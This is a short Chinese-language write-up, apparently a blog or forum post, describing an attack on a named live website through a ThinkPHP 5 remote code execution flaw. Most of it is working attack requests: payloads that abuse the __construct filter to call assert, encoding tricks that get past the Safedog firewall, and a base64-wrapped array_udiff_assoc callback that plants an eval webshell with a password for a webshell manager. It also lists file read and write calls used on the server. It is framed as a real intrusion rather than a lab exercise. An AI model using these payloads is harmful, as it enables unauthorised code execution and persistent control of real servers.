搞某XX站,存在TP5漏洞,但是有安全狗,直接getshell不了,过滤了很多敏感字符,比如eval,copy等等
这里我想到了二个思路:
① 使用copy()或者file_put_contents()函数写入过狗一句话代码,并且接收payload的参数经过base64解密,对应的传参经过base64加密;
② 在tp 5的POC上利用assert函数执行eval函数,eval函数使用$_REQUEST数组接收参数,并且接受的参数经过base64解密,对应的传参也要经过base64加密
艰辛的过程:
①
_method=__construct&filter[]=assert&method=get&get[]=file_put_contents("123.txt","%26%6c%74%3b?php phpinfo; ?>")
<进行了过滤,只要<xxxxx都会被过滤,用HTML实体编码<绕过,注意需要url编码,也可以使用copy函数
后面测试发现能解析的路径没有权限,并且不能创建php文件
②
_method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123= cGhwaW5mbygpOw==
使用array_udiff_assoc函数回调assert函数,参数经过base64解密,这样就能直接连接webshell管理工具,密码是123,webshell管理工具的payload要经过base64加密
最终payload使用eval函数,密码1
_method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsxXSkp&1=cGhwaW5mbygpOw==
附测试过程用的函数:
file_get_contents("D:/wwwroot/www.huiyijia.top/web/2.php") 读取文件
print_r() 输出函数,echo和print是语言结构
file_exists() 判定某个文件是否存在
file_put_contents("D:/wwwroot/www.huiyijia.top/extend/123.txt","1234.php") 写入文件
array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert") 第三个参数是回调函数,第一个参数和第二个参数调用回调函数进行比较,返回值是数组